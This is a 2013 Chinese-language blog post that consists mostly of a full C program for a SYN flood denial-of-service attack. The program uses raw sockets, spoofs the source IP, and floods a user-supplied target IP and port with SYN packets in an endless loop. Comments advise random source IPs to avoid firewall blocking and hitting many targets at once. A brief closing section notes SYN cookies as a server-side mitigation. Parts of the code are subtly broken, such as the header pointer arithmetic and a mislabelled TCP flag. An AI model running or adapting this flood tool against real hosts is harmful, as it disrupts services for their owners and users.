2013年2月11日 星期一

用raw socket做sync flood攻擊

  1:      #include <unistd.h>
  2:     #include <stdio.h>
  3:     #include <sys/socket.h>
  4:     #include <netinet/ip.h>
  5:     #include <netinet/tcp.h>
  6: 
  7:     /* TCP flags, can define something like this if needed */
  8:     /*
  9:     #define URG 32
 10:     #define ACK 16
 11:     #define PSH 8
 12:     #define RST 4
 13:     #define SYN 2
 14:     #define FIN 1
 15:     */
 16: 
 17:     struct ipheader {
 18:      unsigned char      iph_ihl:5, /* Little-endian */
 19:                         iph_ver:4;
 20:      unsigned char      iph_tos;
 21:      unsigned short int iph_len;
 22:      unsigned short int iph_ident;
 23:      unsigned char      iph_flags;
 24:      unsigned short int iph_offset;
 25:      unsigned char      iph_ttl;
 26:      unsigned char      iph_protocol;
 27:      unsigned short int iph_chksum;
 28:      unsigned int       iph_sourceip;
 29:      unsigned int       iph_destip;
 30:     };
 31:     /* Structure of the TCP header */
 32:     struct tcpheader {
 33:      unsigned short int   tcph_srcport;
 34:      unsigned short int   tcph_destport;
 35:      unsigned int             tcph_seqnum;
 36:      unsigned int             tcph_acknum;
 37:      unsigned char          tcph_reserved:4, tcph_offset:4;
 38:      unsigned int
 39:            tcp_res1:4,       /*little-endian*/
 40:            tcph_hlen:4,      /*length of tcp header in 32-bit words*/
 41:            tcph_fin:1,       /*Finish flag "fin"*/
 42:            tcph_syn:1,       /*Synchronize sequence numbers to start a connection*/
 43:            tcph_rst:1,       /*Reset flag */
 44:            tcph_psh:1,       /*Push, sends data to the application*/
 45:            tcph_ack:1,       /*acknowledge*/
 46:            tcph_urg:1,       /*urgent pointer*/
 47:            tcph_res2:2;
 48:      unsigned short int   tcph_win;
 49:      unsigned short int   tcph_chksum;
 50:      unsigned short int   tcph_urgptr;
 51:     };
 52: 
 53:     /* function for header checksums */
 54:     unsigned short csum (unsigned short *buf, int nwords)
 55:     {
 56:       unsigned long sum;
 57:       for (sum = 0; nwords > 0; nwords--)
 58:         sum += *buf++;
 59:       sum = (sum >> 16) + (sum & 0xffff);
 60:       sum += (sum >> 16);
 61:       return (unsigned short)(~sum);
 62:     }
 63: 
 64:     int main(int argc, char *argv[ ])
 65:     {
 66:       /* open raw socket */
 67:     int s = socket(PF_INET, SOCK_RAW, IPPROTO_TCP);
 68:       /* this buffer will contain ip header, tcp header, and payload we'll
 69:          point an ip header structure at its beginning, and a tcp header
 70:          structure after that to write the header values into it */
 71:     char datagram[4096];
 72:     struct ipheader *iph = (struct ipheader *) datagram;
 73:       struct tcpheader *tcph = (struct tcpheader *) datagram + sizeof (struct ipheader);
 74:       struct sockaddr_in sin;
 75: 
 76:       if(argc != 3)
 77:       {
 78:            printf("Invalid parameters!\n");
 79:            printf("Usage: %s <target IP/hostname> <port to be flooded>\n", argv[0]);
 80:            exit(-1);
 81:       }
 82: 
 83:       unsigned int floodport = atoi(argv[2]);
 84:     /* the sockaddr_in structure containing the destination
 85:      address is used in sendto() to determine the datagrams path */
 86:     sin.sin_family = AF_INET;
 87:     /* you byte-order >1byte header values to network byte
 88:      order (not needed on big-endian machines). */
 89:     sin.sin_port = htons(floodport);
 90:     sin.sin_addr.s_addr = inet_addr(argv[1]);
 91:        /* zero out the buffer */
 92:        memset(datagram, 0, 4096);
 93:        /* we'll now fill in the ip/tcp header values */
 94:        iph->iph_ihl = 5;
 95:        iph->iph_ver = 4;
 96:     iph->iph_tos = 0;
 97:     /* just datagram, no payload. You can add payload as needed */
 98:     iph->iph_len = sizeof (struct ipheader) + sizeof (struct tcpheader);
 99:     /* the value doesn't matter here */
100:       iph->iph_ident = htonl (54321);
101:       iph->iph_offset = 0;
102:       iph->iph_ttl = 255;
103:     iph->iph_protocol = 6;  // upper layer protocol, TCP
104:       /* set it to 0 before computing the actual checksum later */
105:     iph->iph_chksum = 0;
106: 
107:     /* SYN's can be blindly spoofed.  Better to create randomly
108:        generated IP to avoid blocking by firewall */
109:     iph->iph_sourceip = inet_addr ("192.168.3.100");
110:     /* Better if we can create a range of destination IP,
111:        so we can flood all of them at the same time */
112:     iph->iph_destip = sin.sin_addr.s_addr;
113:     /* arbitrary port for source */
114:       tcph->tcph_srcport = htons (5678);
115:     tcph->tcph_destport = htons (floodport);
116:     /* in a SYN packet, the sequence is a random */
117:     tcph->tcph_seqnum = random();
118:     /* number, and the ACK sequence is 0 in the 1st packet */
119:       tcph->tcph_acknum = 0;
120:       tcph->tcph_res2 = 0;
121:       /* first and only tcp segment */
122:     tcph->tcph_offset = 0;
123:     /* initial connection request, I failed to use TH_FIN,
124:        so check the tcp.h, TH_FIN = 0x02 or use #define TH_FIN 0x02*/
125:     tcph->tcph_syn = 0x02;
126:     /* maximum allowed window size */
127:     tcph->tcph_win = htonl (65535);
128:       /* if you set a checksum to zero, your kernel's IP stack should
129:          fill in the correct checksum during transmission. */
130:       tcph->tcph_chksum = 0;
131:       tcph-> tcph_urgptr = 0;
132: 
133:       iph-> iph_chksum = csum ((unsigned short *) datagram, iph-> iph_len >> 1);
134: 
135:     /* a IP_HDRINCL call, to make sure that the kernel knows
136:        the header is included in the data, and doesn't insert
137:        its own header into the packet before our data */
138:     /* Some dummy */
139:     int tmp = 1;
140:     const int *val = &tmp;
141:     if(setsockopt (s, IPPROTO_IP, IP_HDRINCL, val, sizeof (tmp)) < 0)
142:     {
143:     printf("Error: setsockopt() - Cannot set HDRINCL!\n");
144:     /* If something wrong, just exit */
145:     exit(-1);
146:     }
147:     else
148:       printf("OK, using your own header!\n");
149: 
150:     /* You have to manually stop this program */
151:     while(1)
152:     {
153:       if(sendto(s,                       /* our socket */
154:                datagram,                 /* the buffer containing headers and data */
155:                iph->iph_len,             /* total length of our datagram */
156:                0,                        /* routing flags, normally always 0 */
157:                (struct sockaddr *) &sin, /* socket addr, just like in */
158:                sizeof (sin)) < 0)        /* a normal send() */
159:          printf("sendto() error!!!.\n");
160:       else
161:         printf("Flooding %s at %u...\n", argv[1], floodport);
162: 
163:     }
164:       return 0;
165:     }
在server有對應之道就是打開SYN Cookies,這個linux本身有支援,syn cookies在七八年前我就聽過了,應該是成熟的技巧,利用hash table處理connections避免server資源耗盡地的問題,使用
echo 1 > /proc/sys/net/ipv4/tcp_syncookies
打開,在trace listen(), accpet()的時候其實裡面就有syn cookies的部分codes
不過對於DDOS還是無法解決網路頻寬耗盡的問題

沒有留言:

張貼留言